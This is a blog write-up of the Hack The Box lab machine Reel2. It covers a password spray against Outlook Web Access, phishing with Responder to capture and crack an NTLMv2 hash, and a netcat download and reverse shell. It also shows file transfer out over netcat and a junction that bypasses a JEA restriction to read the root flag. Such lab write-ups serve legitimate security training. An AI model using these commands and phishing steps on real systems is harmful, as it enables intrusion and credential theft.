26th January 2022
Hack The Box Reel2 Write-up by T13nn3s

Hack The Box – Reel2 –

How much can you fit in a box?



In this post, I’m writing a write-up for machine Reel2 from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.

Reel2 is a ‘Hard’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 20, and submitting the root flag you points will be raised by 40.

The port scan reveals some interesting open ports, like 80/tcp (HTTP), 443/tcp (HTTPS,) and the alternative HTTP-port 8080/tcp . The directory-brute force on 443/tcp shows us the Outlook Web Access directory. This machine is running a Microsoft Exchange Server. On the 8080/tcp port, we can register a user account on the Wallstant website. After enumerating this website, we can filter out two active users from the user list. These users had posted some posts and from the content of it, we could create a wordlist for doing a password-spray attack on Outlook Web Access. After the password spray, we have access to the mailbox of the user s.svennsson. Through the address book in Outlook Web Access, we found a couple of more email addresses. After a phishing email attack, the user k.svensson gave his credentials.

After cracking the NTLMv2-hash of k.svensson with hascat, we could establish a remote Powershell session to the machine on behalf of this user account. Immediately, we were able to read the user flag. In the documents folder, we can find some PowerShell configurations files for the user jea_test_account. After manual enumeration, we found a shortcut to the program Sticky Notes. Through enumerating the log files, we can find the logfile 000003.log in AppData’s folder of Sticky Notes, which contained the plaintext password of the user jea_test_account.

To do the lateral movement to the user account jea_test_account, we need to create a remote PowerShell session for this user. The PowerShell configuration has shown us that this user is only able to execute the Check-File cmdlet if the file is located in the directory C:\ProgramData. From the user k.svensson, we were able to create a symbolic link in the C:\ProgramData directory to the location C:\Users\Administrator. Through the PowerShell session of the user, jea_test_account we were able to use the Check-File cmdlet to read the root.txt flag through the symbolic link.

Machine Info

Hack The Box Reel2 Write-up by T13nn3s
Hack The Box Reel2
Hack The Box Reel2 Machine IP and makers
Hack The Box Reel2 Machine IP and Makers


Port scan

As always we start the reconnaissance phase with a port scan with Nmap.

~$ nmap -sC -sV -oA ./nmap/

The results.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-09 16:10 CEST
Nmap scan report for
Host is up (0.097s latency).
Not shown: 991 filtered ports
80/tcp   open  http       Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: 403 - Forbidden: Access is denied.
443/tcp  open  ssl/http   Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=Reel2
| Subject Alternative Name: DNS:Reel2, DNS:Reel2.htb.local
| Not valid before: 2020-07-30T10:12:46
|_Not valid after:  2025-07-30T10:12:46
|_ssl-date: 2020-10-09T14:11:50+00:00; +23s from scanner time.
6001/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6002/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6004/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6005/tcp open  msrpc      Microsoft Windows RPC
6006/tcp open  msrpc      Microsoft Windows RPC
6007/tcp open  msrpc      Microsoft Windows RPC
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32)
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32
|_http-title: Welcome | Wallstant
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 22s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.38 seconds

After the port scan, there are 9 open ports discovered. Let’s narrow down some ports and lets we which information we can get from them. There are some open ports for web services, those are 80/tcp, 443/tcp and 8080/tcp. The banner on the first two ports is showing Microsoft IIS 8.5 as a web server software, according to this information we can assume that this machine is running Windows Server 2012 R2. On 8080/tcp there is a different web server software responding to our port scan, it seems that this server is also running an Apache2 web server. So, there are two different websites running on this host.

The second thing that we can notice is the open ports in the 6000 range. Microsoft Exchange is using those ports for client connectivity. Is this machine running a Microsoft Exchange server? RPC over HTTP in Microsoft Exchange 2010 is using the ports 6001/tcp, 6002/tcp and 6004/tcp.

The output is also revealing the hostname of this machine reel2.htb.local. We can add this hostname to our hosts’ file.

Enumeration Web Server

We can visit the URL https://reel2.htb.local, and we are ending up on the default Microsoft IIS page. We can start a directory brute-force attack with wfuzz to see if there are any hidden directories.

~$ wfuzz -c -w ../../wordlists/wfuzz/general/big.txt --hc=401,403,404 https://reel2.htb.local/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

* Wfuzz 2.4.6 - The Web Fuzzer                         *

Target: https://reel2.htb.local/FUZZ
Total requests: 3024

ID           Response   Lines    Word     Chars       Payload                                                                                                                 

000001019:   302        1 L      10 W     150 Ch      "exchange"                                                                                                              
000002185:   302        1 L      10 W     150 Ch      "public"                                                                                                                

Total time: 30.40488
Processed Requests: 3024
Filtered Requests: 3022
Requests/sec.: 99.45769

We now know for sure that we are dealing with a Microsoft Exchange Server, according to the founded directories.

  1. exchange
    • This is the Outlook Web Application (OWA).
  2. public
    • Directory for the public folders.

It seems it’s a Microsoft Exchange Server.

Let’s check if the Outlook Web Application is indeed the service behind this directory. And after visiting https://reel2.htb.local/exchange, we got redirected to https://reel2.htb.local are we need credentials to log in.

Hack The Box Reel2 Microsoft Exchange Server OWA

Because, we do not have credentials yet, we are not gonna try to brute-force into this web portal. The chance that we can get through that is very small. Let us focus on the 2nd HTTP port 8080/tcp, there is also a web service behind it.

I checked the URL and I land on a webpage of Wallstant. Wallstant is an Open Source PHP Framework. I checked the website of the creator and the website is saying that the code was build 4 years ago. That’s interesting information. Maybe this website got some vulnerabilities.

Hack The Box Reele2 Wallstant

The website offers the option to create an account, so I did. After the creation of the user account, I’ve logged into the website and started clicking around, trying to find some information or vulnerabilities. There are a couple of users registered on this social platform. The users Cube and svensson. are currently online. That’s interesting, we need to focus on those two accounts.

As we are checking those user accounts and they have both left a comment. After some time of researching on the internet on those comments, lead me to nothing. After again reading again the comment of Sven, I started testing for the password of this account.

Hack The Box Reel2 Wallstant comment from Sven
Comment from Sven

I first tried poking for his password on Wallstant, but there is apparently a lock-out policy active. I only have a maximum of three attempts to guess the password, after which his account will probably be locked. I switched to Outlook Web Access. After some trying, I’m not able to get into his account.

I need to create a list of possible usernames and password combinations. Then, attack OWA with a password spray. First, create a list of possible usernames. For this one, I’m only using the username of Sven. After a Google search, I found this Password spraying toolkit: https://github.com/byt3bl33d3r/SprayingToolkit.

~$ git clone https://github.com/byt3bl33d3r/SprayingToolkit
Cloning into 'SprayingToolkit'...
remote: Enumerating objects: 27, done.
remote: Counting objects: 100% (27/27), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 275 (delta 16), reused 0 (delta 0), pack-reused 248
Receiving objects: 100% (275/275), 95.96 KiB | 926.00 KiB/s, done.
Resolving deltas: 100% (158/158), done.

Let’s install the requirements.

~$ pip3 install -r requirements.txt

After installing all requirements, let’s first start the create a list of possible usernames and place those usernames in the files usernames.txt. Let’s start with the user account svensson. We can assume that his name is Sven Svensson.


From his post with the contents This summer is so hot!. This post was posted in the year 2020. We will make a wordlist of possible passwords with this combination.

[email protected]
[email protected]

Let’s start the password spray attack.

~$ ./atomizer.py owa ../passwords.txt ../usernames.txt --interval 0:00:01
[-] Authentication failed: svenssons:Summer2020 (Invalid credentials)
[-] Authentication failed: ssvensson:Summer2020 (Invalid credentials)
[+] Found credentials: s.svensson:Summer2020
[+] Found credentials: s.svensson:Summer2020
[-] Authentication failed: svensson:Summer2020 (Invalid credentials)
[-] Authentication failed: svensson:Summer2020 (Invalid credentials)
[*] Starting spray at 2020-10-10 20:32:03 UTC
[-] Authentication failed: svensson.svensson:Summer2020! (Invalid credentials)
[-] Authentication failed: svenssonsvensson:Summer2020! (Invalid credentials)
[-] Authentication failed: svenssonsvensson:Summer2020! (Invalid credentials)
[-] Authentication failed: svensson.svensson:Summer2020! (Invalid credentials)
[-] Authentication failed: svenssons:Summer2020! (Invalid credentials)
[+] Dumped 1 valid accounts to owa_valid_accounts.txt

After the password spray, we got the working password for the user account s.svensson.



Outlook Web Access as Sven Svensson

We can now log in through Outlook Web Access. It seems that the language is in the Swedish language. But, that’s no problem for me, I know Outlook Web Access very well as a former Windows Engineer.

Hack The Box Reel2 Password Spray Outlook Web Access
Hack Th Box Reel2: Outlook Web Access as Sven Svensson

First, let’s check the address book. I need to find out which more users there are present on this Exchange Server. I jumped into the address book. And found a couple of new user accounts.

Hack The Box Reel2 Outlook Web Access Address book
Hack The Box Reel2: Outlook Web Access Address book

Well, well, what we got here? A brand new attack surface. Let’s make a note of all these email addresses and write them down. Maybe, I can send them all a specially crafted email message.

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

I’ve tried first to send them all an HTTP URL with my netcat as a listener, but that’s not working here. I have to come with a more sophisticated approach. Let’s download Responder from Github: https://github.com/SpiderLabs/Responder. We can make a phishing mail and send the mail to everyone in the contacts list and let’s hope that someone will click the link and give his credentials.

~$ git clone https://github.com/lgandx/Responder                                                                                                               
Cloning into 'Responder'...                                                                                                                                                              
remote: Enumerating objects: 5, done.                                                                                                                                                    
remote: Counting objects: 100% (5/5), done.                                                                                                                                              
remote: Compressing objects: 100% (5/5), done.                                                                                                                                           
remote: Total 1578 (delta 0), reused 2 (delta 0), pack-reused 1573                                                                                                                       
Receiving objects: 100% (1578/1578), 1.65 MiB | 1.48 MiB/s, done.                                                                                                                        
Resolving deltas: 100% (1024/1024), done.                                                                                                                                                
~$ cd Responder/ 

Start Responder and set the listener on my Hack The Box IP-address

~$ python3 Responder.py -i                                                                                                                     
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.                                                                                                                                 
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|                                                                                                                                 
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|                                                                                                                                   
           NBT-NS, LLMNR & MDNS Responder                                                                                                                                        
  Author: Laurent Gaffie ([email protected])
  To kill this script hit CTRL-C

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [None]
    Responder IP               []
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[!] Error starting UDP server on port 137, check permissions or other servers running.
[!] Error starting UDP server on port 138, check permissions or other servers running.
[!] Error starting UDP server on port 5353, check permissions or other servers running.
[+] Listening for events...

What I do next, is to make the users aware of my IP-address, let them choose whether which service they want to use to access my machine.

Hack The Box Reel2 Phishing attack responder

Cool! After a couple of minutes of waiting. The user k.svensson is taking the bite, he had filled in his credentials. The responder is listening to his credentials, and now I can crack this NTLMv2 hash.

[HTTP] NTLMv2 Client   :
[HTTP] NTLMv2 Username : htb\k.svensson
[HTTP] NTLMv2 Hash     : k.svensson::htb:106425077532325d:E1907FFFD84BA8204BFA04202C8FF725:01010000000000004FA9F60606A4D601036E90E64383E678000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000000000000400000F8592D56ED0ADCAAA1FAF07135619EFF33B6F00292C662B2831FA23873A1DA720A001000000000000000000000000000000000000900200048005400540050002F00310030002E00310030002E00310034002E00320034000000000000000000

To crack this NTLMv2 hash, I switched to my Windows machine with a powerful graphics card for cracking this NTLMv2 hash. Through this list of hashes, we can choose the right hash type for hashcat to crack an NTLMv2 hash: https://hashcat.net/wiki/doku.php?id=example_hashes.

After a few seconds, hashcat had successfully cracked the hash. We got now the password: kittycat1.

PS C:\Users\T13nn3s\Downloads\hashcat-6.1.1\hashcat-6.1.1> .\hashcat.exe -m5600 "k.svensson::htb:106425077532325d:E1907FFFD84BA8204BFA04202C8FF725:01010000000000004FA9F60606A4D601036E90E64383E678000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000000000000400000F8592D56ED0ADCAAA1FAF07135619EFF33B6F00292C662B2831FA23873A1DA720A001000000000000000000000000000000000000900200048005400540050002F00310030002E00310030002E00310034002E00320034000000000000000000" -a 3 ../../rockyou.txt --show
PS C:\Users\T13nn3s\Downloads\hashcat-6.1.1\hashcat-6.1.1>

Powershell session as k.svensson

After cracking the NTLMv2 hash, I have tried to create an Evil-WinRm session, but I was not able to establish a session with WinRM. I first thought I had made a mistake, but after a number of new attempts, I come to the conclusion that I have to find another way to get a shell on this machine.

I have missed something and started over the reconnaissance phase by running again a Nmap scan. And, it turns out I had missed a crucial port.

~$ nmap -p-
Completed SYN Stealth Scan at 20:59, 326.32s elapsed (65535 total ports)
Nmap scan report for reel2.htb.local (
Host is up (0.042s latency).
Not shown: 65520 filtered ports
80/tcp   open  http
443/tcp  open  https
5985/tcp open  wsman
6001/tcp open  X11:1
6002/tcp open  X11:2
6004/tcp open  X11:4
6005/tcp open  X11:5
6006/tcp open  X11:6
6007/tcp open  X11:7
6008/tcp open  X11:8
6010/tcp open  x11
6011/tcp open  x11
6012/tcp open  x11
6027/tcp open  x11
8080/tcp open  http-proxy

5985/tcp is the Microsoft Windows Remote Management port over HTTP. With this port, I can create a remote Powershell session. I switched to pwnbox from Hack The Box, my MacBook doesn’t like to create a Remote Powershell session.

Before I could establish an interactive PowerShell session with the machine, I need to install gss-ntlmssp to support NTLM authentication.

~$ sudo apt install gss-ntlmssp
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following packages were automatically installed and are no longer required:
  enchant gdal-data lib32gcc1 libaec0 libarmadillo9 libarpack2 libbind9-161
  libcfitsio8 libcharls2 libcpupower2 libdap25 libdapclient6v5
  libdns-export1109 libdns1110 libdvdread7 libenchant1c2a libepsilon1
  libfreexl1 libfyba0 libgcc-8-dev libgeos-3.8.1 libgeos-c1v5 libgeotiff5
  libhdf4-0-alt libirs161 libisc1105 libisccc161 libisccfg163 libkmlbase1
  libkmldom1 libkmlengine1 liblwres161 libminizip1 libmpx2 libobjc-8-dev
  libodbc1 libogdi4.1 libpangox-1.0-0 libproj19 libqhull7 libruby2.5
  libspatialite7 libstdc++-8-dev libsuperlu5 libsz2 liburiparser1
  libxerces-c3.2 linux-headers-5.4.0-4parrot1-amd64
  linux-headers-5.4.0-4parrot1-common linux-image-4.19.0-8-cloud-amd64
  linux-kbuild-5.4 odbcinst odbcinst1debian2 proj-bin proj-data python-cairo
  python-gobject python-gobject-2 python-gtk2 python3-mock python3-pbr
  python3-winrm ruby2.5 ruby2.5-dev ruby2.5-doc
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 47.6 kB of archives.
After this operation, 136 kB of additional disk space will be used.
Get:1 http://htb.deb.parrot.sh/parrot rolling/main amd64 gss-ntlmssp amd64 0.7.0-4 [47.6 kB]
Fetched 47.6 kB in 0s (525 kB/s)       
Selecting previously unselected package gss-ntlmssp.
(Reading database ... 414458 files and directories currently installed.)
Preparing to unpack .../gss-ntlmssp_0.7.0-4_amd64.deb ...
Unpacking gss-ntlmssp (0.7.0-4) ...
Setting up gss-ntlmssp (0.7.0-4) ...
Processing triggers for man-db (2.9.1-1) ...
Scanning application launchers
Removing duplicate launchers from Debian
Launchers are updated

Second step is to create a PowerShell session to the machine as k.svensson.

~$ $username = "HTB\k.svensson"
~$ $password_ksvensson = ConvertTo-SecureString "kittycat1" -AsPlainText -Force
~$ $cred_ksvensson = New-Object System.Management.Automation.PSCredential ($username,$password_ksvensson)
~$ $session = New-PSSession -ComputerName -Credential $cred_ksvensson -Authentication Negotiate
~$ Enter-PSSession $session
[]: PS>

We have now an interactive Powershell session as the user k.svensson and I can execute commands. In Remote Powershell native PowerShell commands are not working. Only system variables, such as $env:computername and $env:username are working. After some research, we know that we have to execute commands in a script block. To execute a script block, we can use the Invoke-Command cmdlet or the alias have to use the alias &. On this page, there is some explanation: https://adamtheautomator.com/invoke-command/.

[]: P> &{ls}

    Directory: C:\Users\k.svensson\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        30-7-2020     17:14                WindowsPowerShell
-a----        31-7-2020     11:58           5600 jea_test_account.psrc
-a----        31-7-2020     11:58           2564 jea_test_account.pssc

[]: P> &{cat ../Desktop/user.txt}
[]: PS>

Got the user flag. Now, move to the next step. In the directory C:\Users\k.svensson\Documents, there are some files.

This file specifies who can connect to an endpoint. It is possible to use Windows users or groups. A PowerShell Session Configuration file is specific to each machine. It is therefore possible to configure these machines in a very fine-grained manner. These files are followed by their extension “.pssc”.

This is a ‘Role Capability File’ with this the administrator can specify what actions can be done by each role.

Let’s check the contents of the files. As I take a closer look at the .psrc file, the account jea_test_account is able to use the cmdlet Check-File, but only when the file is located on the D:\* or in C:\ProgramData. If the location of the file is $True, the cmdlet will execute. This is very important information. I think that we need this command to read an interesting file or the root-flag.

# ID used to uniquely identify this document
GUID = '08c0fdac-36ef-43b5-931f-68171c4c8200'

# Author of this document
Author = 'cube0x0'

# Description of the functionality provided by these settings
# Description = ''

# Company associated with this document
CompanyName = 'Unknown'

# Copyright statement for this document
Copyright = '(c) 2020 cube0x0. All rights reserved.'

# Modules to import when applied to a session
# ModulesToImport = 'MyCustomModule', @{ ModuleName = 'MyCustomModule'; ModuleVersion = ''; GUID = '4d30d5f0-cb16-4898-812d-f20a6c596bdf' }

# Aliases to make visible when applied to a session
# VisibleAliases = 'Item1', 'Item2'

# Cmdlets to make visible when applied to a session
# VisibleCmdlets = 'Invoke-Cmdlet1', @{ Name = 'Invoke-Cmdlet2'; Parameters = @{ Name = 'Parameter1'; ValidateSet = 'Item1', 'Item2' }, @{ Name = 'Parameter2'; ValidatePattern = 'L*' } }

# Functions to make visible when applied to a session
# VisibleFunctions = 'Invoke-Function1', @{ Name = 'Invoke-Function2'; Parameters = @{ Name = 'Parameter1'; ValidateSet = 'Item1', 'Item2' }, @{ Name = 'Parameter2'; ValidatePattern = 'L*' } }

# External commands (scripts and applications) to make visible when applied to a session
# VisibleExternalCommands = 'Item1', 'Item2'

# Providers to make visible when applied to a session
# VisibleProviders = 'Item1', 'Item2'

# Scripts to run when applied to a session
# ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'

# Aliases to be defined when applied to a session
# AliasDefinitions = @{ Name = 'Alias1'; Value = 'Invoke-Alias1'}, @{ Name = 'Alias2'; Value = 'Invoke-Alias2'}

# Functions to define when applied to a session
FunctionDefinitions = @{
    'Name' = 'Check-File'
    'ScriptBlock' = {param($Path,$ComputerName=$env:COMPUTERNAME) [bool]$Check=$Path -like "D:\*" -or $Path -like "C:\ProgramData\*" ; if($check) {get-content $Path}} }

# Variables to define when applied to a session
# VariableDefinitions = @{ Name = 'Variable1'; Value = { 'Dynamic' + 'InitialValue' } }, @{ Name = 'Variable2'; Value = 'StaticInitialValue' }

# Environment variables to define when applied to a session
# EnvironmentVariables = @{ Variable1 = 'Value1'; Variable2 = 'Value2' }

# Type files (.ps1xml) to load when applied to a session
# TypesToProcess = 'C:\ConfigData\MyTypes.ps1xml', 'C:\ConfigData\OtherTypes.ps1xml'

# Format files (.ps1xml) to load when applied to a session
# FormatsToProcess = 'C:\ConfigData\MyFormats.ps1xml', 'C:\ConfigData\OtherFormats.ps1xml'

# Assemblies to load when applied to a session
# AssembliesToLoad = 'System.Web', 'System.OtherAssembly, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'

[]: PS>

Next file:

# Version number of the schema used for this document
SchemaVersion = ''

# ID used to uniquely identify this document
GUID = 'd6a39756-aa53-4ef6-a74b-37c6a80fd796'

# Author of this document
Author = 'cube0x0'

# Description of the functionality provided by these settings
# Description = ''

# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType = 'RestrictedRemoteServer'

# Directory to place session transcripts for this session configuration
# TranscriptDirectory = 'C:\Transcripts\'

# Whether to run this session configuration as the machine's (virtual) administrator account
RunAsVirtualAccount = $true

# Scripts to run when applied to a session
# ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'

# User roles (security groups), and the role capabilities that should be applied to them when applied to a session
RoleDefinitions = @{
    'htb\jea_test_account' = @{
        'RoleCapabilities' = 'jea_test_account' } }

# Language mode to apply when applied to a session. Can be 'NoLanguage' (recommended), 'RestrictedLanguage', 'ConstrainedLanguage', or 'FullLanguage'
LanguageMode = 'NoLanguage'


Lateral Movement

Powershell session as jea_test_account

Let’s first start to create a reverse shell to my machine as the user k.svensson and start enumerating.

[]: PS>&{Invoke-Webrequest -o C:\Windows\System32\spool\drivers\color\nc.exe}
[]: PS>&{C:\Windows\System32\spool\drivers\color\nc.exe 4444 -e powershell.exe}

Reverse shell established. Let’s start enumerating. In the Downloads folder, I saw the installation file for sticky notes. I have done manual enumeration on specific locations and searched for file extensions for text files (.txt) and log files (.log). And after one-hour enumeration, I found the file C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\000003.log.

~$ netcat -lvvp 4444
listening on [any] 4444 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 24975
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\k.svensson> gci -r -force -ea silentlycontinue | ? {$_.extension -eq ".log"} | % {write-host $_.fullname}
gci -r -force -ea silentlycontinue | ? {$_.extension -eq ".log"} | % {write-host $_.fullname}
C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\000003.log
PS C:\Users\k.svensson>

With netcat downloaded this file to my machine, because the contents are unreadable through the reverse shell. As I already mentioned, in the downloads folder of the user k.svensson, there is an installation of Sticky Notes located, I see that as a hint. So, that’s the reason why I specifically want to have this logfile for analysis.

~$ nc -lvvp 1234 > 000003.log

On the machine I started to transfer the file to my machine.

C:\Windows\System32\spool\drivers\color>nc.exe 1234 < "C:\users\k.svensson\appdata\roaming\stickynotes\Local Storage/leveldb\000003.log"
nc.exe 1234 < "C:\users\k.svensson\appdata\roaming\stickynotes\Local Storage/leveldb\000003.log"

With strings I’m able to read the file 000003.log and to get the password of the user account jea_test_account.

~$ strings 000003.log                                                                                                                                                                                                                      
{"first":"<p>Credentials for JEA</p><p>jea_test_account:[email protected]^%@#1</p>","back":"rgb(255, 242, 171)","title":"rgb(255, 235, 129)","wid":"350","hei":"375","deleted":"no","closed":"yes","locked":"no"}                                      
_app://.                                   s                                                                                                                                                                                                   

I got the password of the account jea_test_account. theoretically, I have access to the account now, I have not (yet) actually gained access, so I can’t really call this lateral movement (yet), but for now, I call it that. At the privilege escalation phase, I’ll need to have a shell as this account to be able to use the Check-File cmdlet. That’s the lateral movement for real 🙂

Privilege Escalation


Again, Evil-WinRM is a no-go, so I need again Powershell to create a shell as the user jea_test_account. As I already enumerated, the account jea_test_account is only able to use the Check-File cmdlet, if the file is located in the C:\ProgramData.

~$ $username = "HTB\jea_test_account"
~$ $password_jea = ConvertTo-SecureString "[email protected]^%@#1" -AsPlainText -Force
~$ $cred_jea = New-Object System.Management.Automation.PSCredential ($username,$password)
~$ $session_jea = New-PSSession -ComputerName -Credential $cred_jea -ConfigurationName jea_test_account
~$ Enter-PSSession $session_jea
[]: PS>

After some thinking and further enumeration; I switched to the reverse shell for the user k.svensson. From this account, I can create a symbolic link to the root.txt flag, and set this symbolic link in the C:\ProgramData folder. I tried Powershell with the New-Item and the New-Junction cmdlet’s but those cmdlets only drop errors. I switched to the Command Prompt to create the symbolic link with mklink, this time; no error messages.

PS C:\Windows\System32\spool\drivers\color> cd C:\Programdata
cd C:\Programdata
C:\Programdata> mklink
Creates a symbolic link.

MKLINK [[/D] | [/H] | [/J]] Link Target

        /D      Creates a directory symbolic link.  Default is a file
                symbolic link.
        /H      Creates a hard link instead of a symbolic link.
        /J      Creates a Directory Junction.
        Link    specifies the new symbolic link name.
        Target  specifies the path (relative or absolute) that the new link
                refers to.

C:\Programdata> mklink /J T13nn3s C:\Users\Administrator\Desktop
mklink /J T13nn3s C:\Users\Administrator\Desktop
Junction created for T13nn3s <<===>> C:\Users\Administrator\Desktop

Rooting Reel2

The symbolic link is created. Now, the last step: Go back to the shell of jea_test_account the first attempts to read the root flag failed. I used the script block ‘&{…command…}’, to read the file, but this user has no rights at all to use the script block, the first attempt without the script block succeeded immediately to read the root flag.

[]: PS> Check-File C:\ProgramData\T13nn3s\root.txt
[]: PS>

Did you liked this write-up? Please consider spending a respect point: https://app.hackthebox.eu/profile/224856.

I run this blog in my spare time, I’m writing articles about Cyber Security stuff and post my Hack The Box write-ups on my blog. Do you want more? Please, support me and keep this website free of (Google) advertisements, because they are violating your privacy.

Buy me a coffeeBuy me a coffee

Happy hacking!


I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

View all posts by T13nn3s →

Leave a Reply

Your email address will not be published.